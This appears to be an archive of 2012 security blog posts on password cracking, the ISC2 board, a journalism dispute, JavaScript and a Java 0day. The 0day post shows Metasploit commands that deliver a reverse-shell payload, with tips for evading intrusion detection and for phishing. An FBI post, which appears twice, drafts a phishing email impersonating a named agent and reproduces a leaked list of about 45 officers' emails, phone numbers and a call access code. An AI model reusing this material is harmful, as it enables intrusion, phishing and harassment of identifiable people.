30 Eylül 2012 Pazar

Sexism vs. Journalism 101

To contact us Click HERE

In this cybersec drama [1, 2, 3, 4, 5] a journalist and her editor accuse a critic of sexism, describing the criticisms as yet another example of men talking down to women in technical fields. Is there any merit to the sexism claim?

Probably not.

The critic (Chris Soghoian) accused the journalist (Quinn Norton) of "bad journalism", not technical inadequacy. Attacking her writing was his point, not a sly way of attacking her technical qualifications. Any criticisms of technical information was to demonstrate flaws with journalism, not the other way around.

Moreover, the criticism is true. The editor (Ryan Singel) defends the original story as “good journalism”, but he’s wrong. That story has some clear journalistic problems. It is a one-side piece with flowery language without any objectivity.

Journalism has clearly defined standards. These standards apply regardless of content, whether it is a royal wedding, a pop star overdose, an outbreak of war, or an encrypted chat website. News editors, journalism professors, and other journalists can recognize these standards in writing, and point out the flaws, even if they don’t understand the technical content.

Take, for example, the seventh sentence in the original story:

“But as little as two years ago such a site was considered to be likely impossible to code.”

This sentence has four obvious journalistic flaws. The first is that there is no attribution (who “considered” this?). The second is that it’s “glowing” or hyperbolic language (“impossible”). The third is that it uses weasel words (“likely”). The fourth is that it’s a sweeping generality. Any one of these flaws makes the sentence bad journalism.

This sentence sounds made-up, as if the writer morphed what somebody actually said into something the writer wish they had said. Removing the attribution and converting it to the passive voice means that we no longer know who said it, and thus, can’t verify it. I am a technical expert, I know that sentence is false (Cryptocat could’ve been created with decade old Web 2.0 technology), but my point is that even non-technical journalists can detect something is wrong. When journalists read sentences like that, their “spider sense” starts tingling.

Sure, writers make mistakes, but that’s what editors are for. The story’s editor (Singel) admits to reading the story in-depth. He should’ve caught this sentence. He should’ve corrected it. Thus, this is not only an example of bad journalism, but of bad editing.

If this were the only offending sentence, then it’s excusable. It’s something the author and editor might’ve missed. But it’s not the only example. The original critic (Soghoian) points out many more such sentences. Moreover, it’s not any individual sentence so much as the whole piece.

The editor (Singel) points to the author’s (Norton) “thoughtful, informed, well-sourced pieces” on #Occupy and #Anonymous to support his claim that the author (Norton) is a good journalist. I disagree. I’ve long criticized those pieces for their flowery language, for being partisan without even the pretense of objectivity. The author (Norton) does indeed have some keen insights in those pieces, but I can’t imagine anybody calling those pieces “good journalism”.

The author (Norton) defends herself by saying that her pieces aren’t traditional journalism but “long form, literary non-fiction”. While it’s true this means she’s excused from certain standards like the “inverted pyramid” format, it doesn’t excuse her from the other standards. She still can’t twist information to conveniently fit the story. She should still avoid weasel words and sweeping generalizations. “Literary” doesn’t mean flowery, glowing language. Even by the standard of “advocacy journalism” there are problems with her lack of objectivity.

The point of this blog post is to bring the discussion back to where it belongs, whether the original post is “bad journalism” as its critic (Soghoian) claims. I’ve attempted to lay out my case in a way that can easily be disproved by simply finding independent journalists, editors, or professors who will go on the record saying this isn’t bad journalism. If you can find such independent people to attest to that piece being good (or at least, not bad), then we can discuss whether the sexism charge has merit. But if independent journalists agree that the piece is indeed bad journalism, then the sexism charge is obviously baseless.

The deal with passwords

To contact us Click HERE
Over at Ars Technica, Dan Goodin has written a comprehensive overview of the state-of-the-art of password cracking. Even if you think you understand passwords, you probably have many misconceptions that this article will dispel.

Passwords are far more complex than you think. Take, for example, this comment where somebody points out "MD5 would be an example of a hash algorithm that is no longer secure". Most people agree with that statement, they are all wrong. MD5 is just as good for hashing passwords as SHA1, or whatever appears as SHA3. The weakness MD5 has today is in "collisions", which don't matter for hashing passwords. Moreover, cryptographic hashes are designed to be fast, meaning that password cracking is fast. Better algorithms would be slow, like scrypt, bcrypt, or pbkdf2. A salted password using 10000 iterations of MD5 is still more secure than a single SHA1 hash.

Another issue is the "exponential wall", which is shown in the following graph (CC attribute license):

For brute-forcing passwords, people imagine that GPUs or Amazon EC2 clusters will make a massive difference. As the graph shows, they really don't. Short passwords are trivial to crack, even with the resources of an iPhone. Long passwords are impractical to crack, even with a billion dollar NSA supercomputer.

More hardware can make some difference because most passwords are around 7 to 8 characters, which is right in the sweet spot where added hardware will make a difference. However, what makes a bigger difference is skill, having the right wordlists of known passwords and exploiting patterns in how people choose passwords. A skilled cracker with an iPhone will crack more passwords than you can brute-forcing with an Amazon EC2 cluster. Combining skill with more hardware is even better, because the skilled person knows how to exploit the additional hardware in ways other than simply brute-forcing.

In conclusion, I highly recommend reading Dan's article. It defines the state-of-the-art of password cracking as of 2012.





Pentesters: Amazon EC2 or GPUs for password cracking?

To contact us Click HERE
Q: Should pentesters use Amazon EC2 to crack passwords? A: Probably not.

Amazon’s “cloud computing” seems perfect for pentesters for cracking passwords for three reasons.

(1) Accounting. Pentesters can simply stick the Amazon EC2 costs onto the bill they charge customers. If they use their own hardware, they have to figure out how to amortize the cost a cross many customers.
(2) Usage pattern. Pentesters only need the compute power the day they are cracking passwords, at which point they need a lot of hardware. That’s only a few days a year, the hardware will remain unused the rest of the time. This fits Amazon’s usage model of paying only for the compute power that use.
(3) Sheer power. In theory, a pentester can apply all the idle power of Amazon’s computers to the problem, which could expand to 100,000 machines. That’s an impressive amount of compute power.

This is all very impressive, but there is the problem of cost. Amazon is really built for things like websites, not “integer computation”. Thus, while so much of the Amazon model fits the password cracking model, this one difference defeats it.

Consider employing Amazon instances equivalent to 1000 desktops. This costs $1/hour per instance, or $1000/hour. The same password cracking power can be had with 25 GPUs costing $430 each, or $12000 total.

That means after only 12 hours of password cracking, owning your own GPU becomes more cost efficient than using Amazon EC2 instances.

Amazon also provides GPU instances, but the situation doesn’t change much. Amazon uses older Tesla GPUs, whose hardware cost is 10 times that of the latest gaming GPU, but perform a tenth as fast for password cracking. (They are optimized for floating point, not integer calculations). That’s a 100 to 1 cost difference working against you.

So the upshot is this: for pentesters, buying a new GPU for the job and throwing it away at the end will crack more passwords than the equivalent money spent on Amazon EC2 instances.

Also, as I’ve mentioned elsewhere, the exponential nature of brute-force cracking defeats the idea of simply throwing more hardware at the problem. What cracks passwords is having a solid word list and good rules for mutating those words, not massive hardware. The marginal benefit of some hardware (like buying a GPU) is clearly worth it, but the marginal benefit of even more hardware is rarely worth the trouble.

Thus, as a pentester, you should have a desktop with one or two of the latest GPUs, but you shouldn’t worry much past that point.



Update: An alternative is something like http://www.cloudcracker.com, which is priced better to do what you want. This is especially true when calculating your own labor: managing your own cracking jobs will take an hour of your time, which you bill to customers. Using a cloud-cracking service means launching the cracking job, then playing Angry Birds for an hour.

Common misconceptions of password cracking

To contact us Click HERE
After this great article on passwords at Ars Technica, I've seen some common misconceptions pop up. I thought I'd clarify them (even though that article adequately covers many of this, people seem to have missed them).


MD5 is broken, use SHA1 instead

MD5 isn’t broken as far as passwords are concerned. Sure, it has “collision” problems, making it unsuitable for signing things (such as certificates), but that really has nothing to do with passwords. Thus, MD4, MD5, SHA1, SHA2, SHA3 are all roughly equally secure as far as passwords are concerned.


Because SHA1 is cryptographic that means it’s secure

Hash functions are designed to be fast, which means they make password cracking fast. But for logins, there is no need to be fast. You want slow algorithms to make password cracking slower. Algorithms, like scrypt, bcrypt, or PBKDF2 will be better for passwords.

In other words, for protecting passwords, a cryptographic algorithm is necessary, but not sufficient.


Rainbow-Tables

Most mentions of Rainbow Tables are a misconception. After every major password breach, like the recent LinkedIn incident, numerous cybersec “experts” make the claim that they “should use salts to stop Rainbow Tables”. That’s nonsense.

In the LinkedIn case, a single 7 letter password can be cracked in minutes, an 8 character password in a day, and a 9 letter password in months. A rainbow-table doesn’t make finding that 7 letter password any faster, and rainbow-tables don’t exist for 9 letter passwords (using upper/lower/digit/symbol). It would only speed cracking of that 8 letter password from a day down to a few minutes. Sure, rainbow-tables help, but not as much as you’d think.

Rainbow-tables have their uses. Bitweasil, for example, is doing some cool things with them (like web-tables and much better GPU acceleration). But mostly when people mention rainbow-tables, it’s because they are repeating a misconception.

Salt is a magic pixie dust to secure passwords (from Steven Alexander)

As mentioned above, salt makes only a small difference stopping rainbow-tables. The major effect it has is stopping that "mass crack", like cracking millions of LinkedIn passwords all at once. But if the hacker is targeting a single password, salt makes little difference at all. Yes, passwords should be salted, but no, don't imagine that it's sufficient. What's far more important is whether they used scrypt, bcrypt, or PBKDF2, not whether they used salt.

Online vs. offline password guessing

When we talk about cracking passwords, we mean “offline” cracking. We mean hacking into a website, stealing their password database, and trying to decrypt the passwords (by guessing potential passwords and seeing if the hashes match).

Guessing passwords online, such as using a tool that sends passwords at the target, means we can guess maybe 100 passwords per second. Guessing offline means doing a BILLION passwords per second.

Moreover, many sites defeat online guessing by disabling access for a time after too many failed attempts. No such mechanism exists for slowing down offline cracking (other than using the scrypt/bcrypt algorithms to slow cracking).


Just as secure as they’ve always been

In the past few years, password crackers have jumped forward a huge amount. They now use GPUs and FPGAs to jump forward a few years ahead of expected Moore’s Law increases. Most importantly, all these massive password dumps like LinkedIn and RockYou have taught crackers what patterns to look for, making their guesses much better. Thus, your password has gotten a lot less secure in the past few years.


Amazon EC2 will defeat passwords

Not really, as I explain here and here.

Brute-forcing passwords is an exponential problem. That means having 100 times more compute power just means you can crack an 8 character password in the time you would’ve taken to crack a 7 character password. It doesn’t mean 100 times better password cracking.

Amazon EC2 economics are not designed for integer compute. The economics are not there. For the average hacker or pentester, a good GPU will be vastly better. Amazon EC2 really only makes sense in an emergency, when you absolutely have to crack something faster than it takes to go to the store and buy up all the GPUs.


GPUs are oodles faster than CPUs

Yes, but not as much as you’d hope. Like I explain above, brute-force cracking is an exponential problem, so doubling your cracking speed has a tiny improvement on effectiveness. Buying the latest GPU is useful, the marginal gains are large for the price, but the marginal benefits of buying even a second GPU are small.


Here’s a password hash; how long will it take you to crack it?

This isn’t how things work. We crackers sort our efforts according to effectiveness. We’ll try the most effective methods first, and if they fail, choose less and less effective methods. If your target chose a secure password, then I’m never going to be able to crack it.

Given a single cryptographic hash algorithm (MD5, SHA1, MD4), it’s a 30% chance I’ll find it in a few minutes, and 90% chance I’ll find it after a couple of days. As time goes on, the chance I’ll find the password keeps going down, so if I haven’t found it after a day, it’s unlikely I’ll discover the password even after a year. (It's a 'long tail' distribution)


Password meters (from Pers Thorsheim)

Many websites have some sort of "password meter" to show the "strength" of your password. While they certainly point out "weak" passwords, just because they claim your password is strong doesn't make it so. Don't believe them.
Links:
http://securitynirvana.blogspot.com/2010/02/never-trust-password-meters.html
http://securitynirvana.blogspot.com/2010/11/revisiting-password-meters.html


Password requirements

Many websites have password requirements, like forcing you to include numeric digits or upper/lower case. These have only limited utility, as many people choose predictable patterns, like appending '1' to the end of the password to meet the requirement.

Curiously, by reducing the search space, such requirements can sometimes help the attacker.

Password strength (from XKCD)


Uncrackable passwords (from XKCD)


How the FBI might've been owned (12M Apple records)

To contact us Click HERE
In recent news, hackers claimed to have stolen 12 million Apple device records from an FBI agent's laptop. I thought I'd post some comments.

The bug they claimed to have used isn't the current Java 0day, but a previous 0day. That Java 0day was being actively exploited in March 2012, as described in this MS TechNet article on CVE-2012-0507. The hackers claimed to have done this hack "during the second week of March 2012", which fits this timeline.

This was soon after the February 3 2012 release of an intercepted FBI conference call. This was a conference call of about 40 law enforcement agents from various parts of the world. Hackers were able to listen into the conference call because they somehow were able to intercept the e-mail message sent to all the agents listing the time and code to get in.

This e-mail was also published. That e-mail was sent directly to all 40 agents in the "To:" field (rather than "Bcc:"), which means their e-mail addresses were all exposed. That means every hacker on the Internet now has a list of the 40 officers in charge of hunting down LulzSec. The e-mail address of Chris Stangl (the guy whose notebook was hacked) is among those 40.

The obvious attack is for hackers to is to phish all 40 of those e-mail addresses. The phishing message would appear to come from the same sender, and simply point to a website hosting a Java app with that exploit. It might look like:
From: "Lauster, Timothy F. Jr."<Timothy.Lauster@ic.fbi.gov>Subject: Interception of Anon/Lulz Conference CallAll,Our conference call of January 27 was intercepted by hackersassociated with LulzSec. An audio recording was posted to theInternet. More details can be found here:http://totallyinnocent.com/no-java-exploit-here-at-all.htmlPlease contact me if you have any questions.Regards,TimSSA Timothy F. Lauster, Jr.Federal Bureau of Investigation202-651-3211 (w)202-651-3193 (f)
Where the URL would consist of some innocent looking site, but which would in fact host an evil page hosting a Java 0day. I'd guess that hackers got about 20% of those on the original list (or 8 out of 40).

The hackers can repeat this for every new 0day. For example, when the Metasploit module was released last week with yet another Java 0day, they could've phished that list of 40 agents yet again. Frankly, the FBI should consider all those e-mails burned. They should just assign the agents new addresses, then point the old ones to a special server that scrapes them for phishing 0day, to be notified every time hackers come up with new techniques.

One thing I'm trying to point out here is that hackers aren't necessarily smart, but operate from a set of well-known principles. If I have an e-mail list of victims, and a new 0day appears, I'm immediately going to phish with it. It's not Chinese uber APT hackers, it's just monkeys mindlessly following a script.


Or, it could've worked the other way around. Maybe that's how they intercepted that e-mail to be begin with, having used the Java 0day against Stangl's notebook computer. My point here is only that if I were a hacker who was a fan of LulzSec/Anonymous, and somebody dumped that list of FBI agents hunting LulzSec, I would certainly phish it at every opportunity.


Since that original e-mail list is all over the Internet, and the addresses should all be changed anyway, I'm reproducing it here for reference:

MIME-Version: 1.0acceptlanguage: en-USAccept-Language: en-USContent-class: urn:content-classes:messageSubject: Anon-Lulz International Coordination CallDate: Fri, 13 Jan 2012 19:21:49 -0000X-MS-Has-Attach:X-MS-TNEF-Correlator:thread-topic: Anon-Lulz International Coordination Call From: "Lauster, Timothy F. Jr."<Timothy.Lauster@ic.fbi.gov>To: "Reichard, Gerald A." <Gerald.Reichard@ic.fbi.gov>,    <paul.hoare2@met.police.uk>,    <Raymond.Massie@met.police.uk>,    <trevor.dickey@met.pnn.police.uk>,    <Stewart.Garrick@met.police.uk>,    "Gillen, Paul G" <paul.g.gillen@garda.ie>,    "Gallagher, Colm" <colm.gallagher@garda.ie>,    <pim@nhtcu.nl>,<Gea@nhtcu.nl>,    <michel@nhtcu.nl>,    <olivier.nael@interieur.gouv.fr>,    <olivier.moalic@interieur.gouv.fr>,    <thierry.mezenguel@interieur.gouv.fr>,    <andre.dornbusch@iuk.bka.de>,    <peter.ericson@rkp.police.se>,    <stefan.kronqvist@rkp.police.se>,    <ulrika.sundling@rkp.police.se>,    <Jaap.Oss@europol.europa.eu>,    <valentin.gatejel@europol.europa.eu>,    "Helman, Bruce C. Jr." <Bruce.Helman@ic.fbi.gov>,    "Sporre, Eric W." <Eric.Sporre@ic.fbi.gov>,    "Buckler, Lesley" <Lesley.Buckler@ic.fbi.gov>,    "Geeslin, Robert C." <Robert.Geeslin@ic.fbi.gov>,    "Plunkett, William R." <William.Plunkett@ic.fbi.gov>,    "Roberts, Stewart B." <Stewart.Roberts@ic.fbi.gov>,    "Brassanini, David" <David.Brassanini@ic.fbi.gov>,    "Stangl, Christopher K."<Christopher.Stangl@ic.fbi.gov>,    "Patel, Milan" <Milan.Patel@ic.fbi.gov>,    "Ng, William T." <William.Ng@ic.fbi.gov>,    "Adams, Melanie" <Melanie.Adams@ic.fbi.gov>,    "Culp, Mark A." <Mark.Culp@ic.fbi.gov>,    "Arico, Nicholas J." <Nicholas.Arico@ic.fbi.gov>,    "Tabatabaian, Ramyar" <Ramyar.Tabatabaian@ic.fbi.gov>,    "Penalosa, Jensen" <Jensen.Penalosa@ic.fbi.gov>,    "Bales, Will" <Will.Bales@ic.fbi.gov>,    "Burton, Kevin C." <Kevin.Burton@ic.fbi.gov>,    "Nail, Michael A." <Michael.Nail@ic.fbi.gov>,    "Grasso, Thomas X." <Thomas.Grasso@ic.fbi.gov>,    "Thomas, Christopher T." <Christopher.Thomas@ic.fbi.gov>,    "Caruthers, John" <John.Caruthers@ic.fbi.gov>,    "Phoenix, Conor I." <Conor.Phoenix@ic.fbi.gov>,    "Hunt, Chad R." <Chad.Hunt@ic.fbi.gov>,    "Willett, Bryan G." <Bryan.Willett@ic.fbi.gov>,    "Patrick, Kory D." <Kory.Patrick@ic.fbi.gov>     All, A conference call is planned for next Tuesday (January 17, 2012) to discuss the on-going investigations related to Anonymous, Lulzsec, Antisec, and other associated splinter groups. The conference call wasmoved to Tuesday due to a US holiday on Monday.Date: Tuesday, January 17, 2012 Time: 4:00 PM GMTBridgeTN: 202-393-2430Access Code: 6513211# Please contact me if you have any questions. Regards, Tim SSA Timothy F. Lauster, Jr. Federal Bureau of Investigation 202-651-3211 (w) 202-651-3193 (f)

Other links:
explanation of UDID
finding your UDID
FBI denies it was their laptop

29 Eylül 2012 Cumartesi

These guys want to reform the ISC2/CISSP

To contact us Click HERE
The best known professional certification in cybersecurity is the “CISSP” (by the (ISC)² organization), but it’s horrible. The test givers are incompetent. The organization is corrupt. Its ethics are unethical. It’s a typical example of rent-seeking behavior rather than a badge of quality. These problems have only gotten worse over the last decade as the organization has resisted reform.

So what should we do about the CISSP? Fight to destroy it? Or fight to reform it?

Well, some erstwhile critics are trying to reform it by getting elected to the (ISC)² board, displacing the incompetent/corrupt boobs who currently sit there. This started last year with the election of Wim Remes (@wimremes), and continues this year with four more:
(1) Boris Sverdlik (@JadedSecurity) [http://jadedsecurity.net/2012/08/22/isc2-bod-vote-2012/]
(2) Dave Lewis (@gattaca) [http://www.liquidmatrix.org/blog/vote-for-dave/]
(3) Chris Nickerson (@indi303) [http://change.isc4thepeople.com/]
(4) Scot Terban (@krypt3ia) [http://krypt3ia.wordpress.com/2012/08/23/isc2-board-candidacy/]

These people are different than the existing board members for two reasons. The first reason is that they are technically competent, “doers” rather than “managers” or “academics”. The second reason is that rather than cheerleaders for (ISC)²/CISSP, they’ve been vocal critics.

Critics are necessary to the health of any organization. The more criticism is resisted, the more group-think sets in, and the more corrupt it gets. That the (ISC)² is run by cheerleaders and ignores critics has been a grave problem.

The more of these five that get elected to the board, the more they will be able to reform it. You can read their petitions for each of their specific platforms, which are actually fairly minor reforms (like transparency and accountability).

I’m not saying that reform is necessarily a good idea; I’d rather destroy the CISSP. But, if you are a member in good standing with the (ISC)² and want to increase the value of your CISSP certification, then you should probably vote for these guys.


Update: more info here: http://www.novainfosecportal.com/2012/08/23/unofficial-isc2-board-petition-central/
Update: By "doer" I mean "somebody with a published body of work". For example, Wim Remes (who got on the board last year) is a "manager", but he is also the only board member which lists "speaker at Blackhat" as part of his bio. It's this published work that makes him a "doer". We can all check out his published works, his podcast, and his twitter feed in order to judge for ourselves whether he's competent. The same can't be said for the other board members, their competency is opaque for us to easily judge.



New Java 0day

To contact us Click HERE

In usual 0day style, a Java vuln is available that works onboth Windows and Linux as a Metasploit module. I wanted to see for myself. The Windows 7 client didn’thave Java enabled by default so I have to turn it on. Keep in mind this is justa VM I use for testing, not daily use so I don’t have much reason to turn Javaon. The Windows 7 exploit worked like a charm. I did 10 tries and got 10completions. I used the Meterpreter java payload (java/meterpreter/reverse_tcp)and everything worked perfectly with normal security settings. Here are my commands:
msf > use exploit/multi/browser/java_jre17_exec
msf  exploit(java_jre17_exec) > set LHOST 192.168.1.146
LHOST => 192.168.1.146
msf  exploit(java_jre17_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.146:4444
[*] Using URL: http://0.0.0.0:8080/WnYSrT
[*]  Local IP: http://192.168.1.146:8080/WnYSrT
[*] Server started.
msf  exploit(java_jre17_exec) >
And its raining shells:
What it looks like on the Win7 machine.
Getting Victim information with Meterpreter
I tried it on Ubuntu 12.04 Linux that is fully patched. Ihad to remove the default OpenJRE and then downlad and install the Oracle one. Theinstall took longer than the owning (https://sites.google.com/site/easylinuxtipsproject/java).
Getting Linux Victim Info
The Linux users view is much like the Windows user view.
Another 10 for 10. This is a high quality exploit that Iexpect to get a lot of use out of! I tried it on OSX and it doesn't work out of the box completely. It looks like the exploit is getting triggered but not getting a shell. In the process list you can see a shell being started but I can't get it to connect to anything. For this, I also had to update my JRE as the one installed was 1.6 and it doesn't seem vulnerable.  UPDATE 8/27/2012 2:20EST:This exploit works on OSX if you are running the 1.7 JRE. It wasn't working for me at first because I thought I had updated it but the browser plugin was still running 1.6. After fixing that the exploit ran fine! I tested it on Firefox 14.0.1 and Safari 6.0 on OSX 10.8. The only weirdness is Meterpreter would show any processes and when you run a shell you get no prompt. I first noticed these oddities when I wrote the Apple wireless exploit and burned a ton of time trying to figure out why. I just learned to accept it.
So to be clear I have tested the following operating systems: Windows7, Ubuntu 12.04, OSX 10.8.1.I have tested the following browsers: Firefox 14.0.1 (Windows, Linux,OSX), IE 9, Safari 6.They same exploit worked on all of them. The configuration I used to test would be caught by a IPS with good rules. If you just enable the Metasploit built-in SSL options an IPS would be blinded to this. I have tried two different desktop protection suites from McAfee and Symantec. Neither stopped the threat, but then again,, they really aren't designed to. This is a perfect exploit to use for phishing, or target social media users with.
My Safari version.
Safari looks as bad as Firefox in this case.

Getting victim info.

Shell Weirdness.
 UPDATE 8/27/2012 3:27EST:
Here is a BurpSuite view of the Metasploit request. As you can see its quiet simple. However if I were attacking you I would have this SSL encrypted. Network tools can't blacklist an app that they can't see.
BurpSuite view of the Metasploit request.

Also despite some earlier claims, the vuln does indeed work on Chrome. I tried in on Win7 with Chrome 21.0.1180.83.
Chromse displaying the now infamous "blank page"

Pulling info out about the victim. Chrome is the only browser running in the process list.
 UPDATE 8/27/2012 3:51EST:
This exploit is awesome. Its not a buffer overflow or anything like that, it uses a flaw in the JRE design that allows a Java app to change its own secuiryt settings with reflection.

You can see the Metasploit code here.

The init function first calls disableSecurity(). disableSecurity sets up a new security manager that gives an applet local premissions meaning it can read, write and execute to the filesystem. disableSecurity() will then call SetField that will change replace the exisiting security manager with the new one created with local permissions. The Metasploit exploit uses the sun.awt.SunToolKit class as the victim of the security manager switch-er-roo. sun.awt.SunToolKit is used for drawing guis and such. This is nothing strange for a Java app. Once the app is run and the permissions are changed the applet is free to execute the Metasploit platform independent payload.

This is as about a bad a bug as I've ever seen. I am going to check 1.6 and see if it is present there.

Hackers on a plane: who has jurisdiction? (legal)

To contact us Click HERE
Let's say a Canadian flies from New York to Tokyo on Korean Air and hacks the German tourist's computer seated in front of her while over the Pacific. Who's laws apply? (Canada, US, Japan, Korea, Germany?)

Apparently almost anybody's, including the French.

Firstly, there is Korea. While over "international waters", the registered country's law applies. Therefore, a 20 year old American can drink alcohol, because while the drinking age in America is 21, it's only 20 in Korea. The Korean's would get first stab at prosecuting

Secondly, there is the country of the victim. If the Koreans decline to prosecute this hacking case, then the Germans can, since it's the German tourist in our scenario who is the victim.

Thirdly, almost any country can under the principle of the "universal jurisdiction" against "international crimes". This means any country (such as the French, even though) can prosecute for a violation of international law like piracy or slave trading (but only as long as the Koreans decline to). This may or may not apply in this case, depending upon whether hacking is considered illegal by international law.

All this is only my guess based upon this article at FindLaw (h/t @KippiHax). The final admonition from that article is that international law is terribly complex and you need an expert to interpret this, so if you plan on hacking any German tourists over the Pacific, you should probably engage an attorney first.


How the FBI might've been owned (12M Apple records)

To contact us Click HERE
In recent news, hackers claimed to have stolen 12 million Apple device records from an FBI agent's laptop. I thought I'd post some comments.

The bug they claimed to have used isn't the current Java 0day, but a previous 0day. That Java 0day was being actively exploited in March 2012, as described in this MS TechNet article on CVE-2012-0507. The hackers claimed to have done this hack "during the second week of March 2012", which fits this timeline.

This was soon after the February 3 2012 release of an intercepted FBI conference call. This was a conference call of about 40 law enforcement agents from various parts of the world. Hackers were able to listen into the conference call because they somehow were able to intercept the e-mail message sent to all the agents listing the time and code to get in.

This e-mail was also published. That e-mail was sent directly to all 40 agents in the "To:" field (rather than "Bcc:"), which means their e-mail addresses were all exposed. That means every hacker on the Internet now has a list of the 40 officers in charge of hunting down LulzSec. The e-mail address of Chris Stangl (the guy whose notebook was hacked) is among those 40.

The obvious attack is for hackers to is to phish all 40 of those e-mail addresses. The phishing message would appear to come from the same sender, and simply point to a website hosting a Java app with that exploit. It might look like:
From: "Lauster, Timothy F. Jr."<Timothy.Lauster@ic.fbi.gov>Subject: Interception of Anon/Lulz Conference CallAll,Our conference call of January 27 was intercepted by hackersassociated with LulzSec. An audio recording was posted to theInternet. More details can be found here:http://totallyinnocent.com/no-java-exploit-here-at-all.htmlPlease contact me if you have any questions.Regards,TimSSA Timothy F. Lauster, Jr.Federal Bureau of Investigation202-651-3211 (w)202-651-3193 (f)
Where the URL would consist of some innocent looking site, but which would in fact host an evil page hosting a Java 0day. I'd guess that hackers got about 20% of those on the original list (or 8 out of 40).

The hackers can repeat this for every new 0day. For example, when the Metasploit module was released last week with yet another Java 0day, they could've phished that list of 40 agents yet again. Frankly, the FBI should consider all those e-mails burned. They should just assign the agents new addresses, then point the old ones to a special server that scrapes them for phishing 0day, to be notified every time hackers come up with new techniques.

One thing I'm trying to point out here is that hackers aren't necessarily smart, but operate from a set of well-known principles. If I have an e-mail list of victims, and a new 0day appears, I'm immediately going to phish with it. It's not Chinese uber APT hackers, it's just monkeys mindlessly following a script.


Or, it could've worked the other way around. Maybe that's how they intercepted that e-mail to be begin with, having used the Java 0day against Stangl's notebook computer. My point here is only that if I were a hacker who was a fan of LulzSec/Anonymous, and somebody dumped that list of FBI agents hunting LulzSec, I would certainly phish it at every opportunity.


Since that original e-mail list is all over the Internet, and the addresses should all be changed anyway, I'm reproducing it here for reference:

MIME-Version: 1.0acceptlanguage: en-USAccept-Language: en-USContent-class: urn:content-classes:messageSubject: Anon-Lulz International Coordination CallDate: Fri, 13 Jan 2012 19:21:49 -0000X-MS-Has-Attach:X-MS-TNEF-Correlator:thread-topic: Anon-Lulz International Coordination Call From: "Lauster, Timothy F. Jr."<Timothy.Lauster@ic.fbi.gov>To: "Reichard, Gerald A." <Gerald.Reichard@ic.fbi.gov>,    <paul.hoare2@met.police.uk>,    <Raymond.Massie@met.police.uk>,    <trevor.dickey@met.pnn.police.uk>,    <Stewart.Garrick@met.police.uk>,    "Gillen, Paul G" <paul.g.gillen@garda.ie>,    "Gallagher, Colm" <colm.gallagher@garda.ie>,    <pim@nhtcu.nl>,<Gea@nhtcu.nl>,    <michel@nhtcu.nl>,    <olivier.nael@interieur.gouv.fr>,    <olivier.moalic@interieur.gouv.fr>,    <thierry.mezenguel@interieur.gouv.fr>,    <andre.dornbusch@iuk.bka.de>,    <peter.ericson@rkp.police.se>,    <stefan.kronqvist@rkp.police.se>,    <ulrika.sundling@rkp.police.se>,    <Jaap.Oss@europol.europa.eu>,    <valentin.gatejel@europol.europa.eu>,    "Helman, Bruce C. Jr." <Bruce.Helman@ic.fbi.gov>,    "Sporre, Eric W." <Eric.Sporre@ic.fbi.gov>,    "Buckler, Lesley" <Lesley.Buckler@ic.fbi.gov>,    "Geeslin, Robert C." <Robert.Geeslin@ic.fbi.gov>,    "Plunkett, William R." <William.Plunkett@ic.fbi.gov>,    "Roberts, Stewart B." <Stewart.Roberts@ic.fbi.gov>,    "Brassanini, David" <David.Brassanini@ic.fbi.gov>,    "Stangl, Christopher K."<Christopher.Stangl@ic.fbi.gov>,    "Patel, Milan" <Milan.Patel@ic.fbi.gov>,    "Ng, William T." <William.Ng@ic.fbi.gov>,    "Adams, Melanie" <Melanie.Adams@ic.fbi.gov>,    "Culp, Mark A." <Mark.Culp@ic.fbi.gov>,    "Arico, Nicholas J." <Nicholas.Arico@ic.fbi.gov>,    "Tabatabaian, Ramyar" <Ramyar.Tabatabaian@ic.fbi.gov>,    "Penalosa, Jensen" <Jensen.Penalosa@ic.fbi.gov>,    "Bales, Will" <Will.Bales@ic.fbi.gov>,    "Burton, Kevin C." <Kevin.Burton@ic.fbi.gov>,    "Nail, Michael A." <Michael.Nail@ic.fbi.gov>,    "Grasso, Thomas X." <Thomas.Grasso@ic.fbi.gov>,    "Thomas, Christopher T." <Christopher.Thomas@ic.fbi.gov>,    "Caruthers, John" <John.Caruthers@ic.fbi.gov>,    "Phoenix, Conor I." <Conor.Phoenix@ic.fbi.gov>,    "Hunt, Chad R." <Chad.Hunt@ic.fbi.gov>,    "Willett, Bryan G." <Bryan.Willett@ic.fbi.gov>,    "Patrick, Kory D." <Kory.Patrick@ic.fbi.gov>     All, A conference call is planned for next Tuesday (January 17, 2012) to discuss the on-going investigations related to Anonymous, Lulzsec, Antisec, and other associated splinter groups. The conference call wasmoved to Tuesday due to a US holiday on Monday.Date: Tuesday, January 17, 2012 Time: 4:00 PM GMTBridgeTN: 202-393-2430Access Code: 6513211# Please contact me if you have any questions. Regards, Tim SSA Timothy F. Lauster, Jr. Federal Bureau of Investigation 202-651-3211 (w) 202-651-3193 (f)

Other links:
explanation of UDID
finding your UDID
FBI denies it was their laptop

JavaScript is a real programming language

To contact us Click HERE
The world is divided into "real" programming languages like C and Java, and then "scripting" languages like Ruby and PERL. Real programming languages are about 100 times faster than scripting languages, with features designed for "large scale" programming projects.

In the past, JavaScript was just another scripting language. As the name suggests, it's a lot like Java, but designed for small-scale scripts rather than large scale programming. (By "a lot" I mean simply that it shares the C-family syntax, and could equally be called "C-Script", "C++Script", "C#Script", and so on. It's actually a retro-name: it was originally named LiveScript, but when Java came out, they renamed it to leverage the name recognition.)

But JavaScript has grown up. Today, JavaScript can be used to write robust, large-scale, server-side applications with performance on par with "real" programming languages.

This can be shown in the following benchmark graph comparing the performance of several popular languages side-by-side. as you can see, JavaScript is consistently faster than "Lua", which has long been known as the fastest scripting language, and is often as fast as the C#-Mono language. It's still slower than Java and C, but not by a lot. This graph is from http://shootout.alioth.debian.org/u64q/which-programming-languages-are-fastest.php.



Critics will point out that JavaScript is missing many features like "object-oriented" programming. That's not actually true. It's just that the programmer has to build up objects and classes manually rather than having a clean syntax that does it for them.

This leads to "language on language" features, as people strive to standardize the messy way that JavaScript manually builds things. For example, the "require.js" is becoming the standard way for doing modularity (similar to "include" or "import" statements from other languages). This is part of the "CommonJS" spec, and used in popular projects like "NodeJS". Frankly, this "language on language" cruft is no worse than in other languages (for example, like the STL cruft in C++).

The driving force behind JavaScript's maturity is Google's "V8" JavaScript engine. When Google released their "Chrome" web browser to compete against Internet Explorer and Firefox, they released their JavaScript interpreter as a separate component. This allowed JavaScript to be used on the command-line and for services just like any other scripting language.

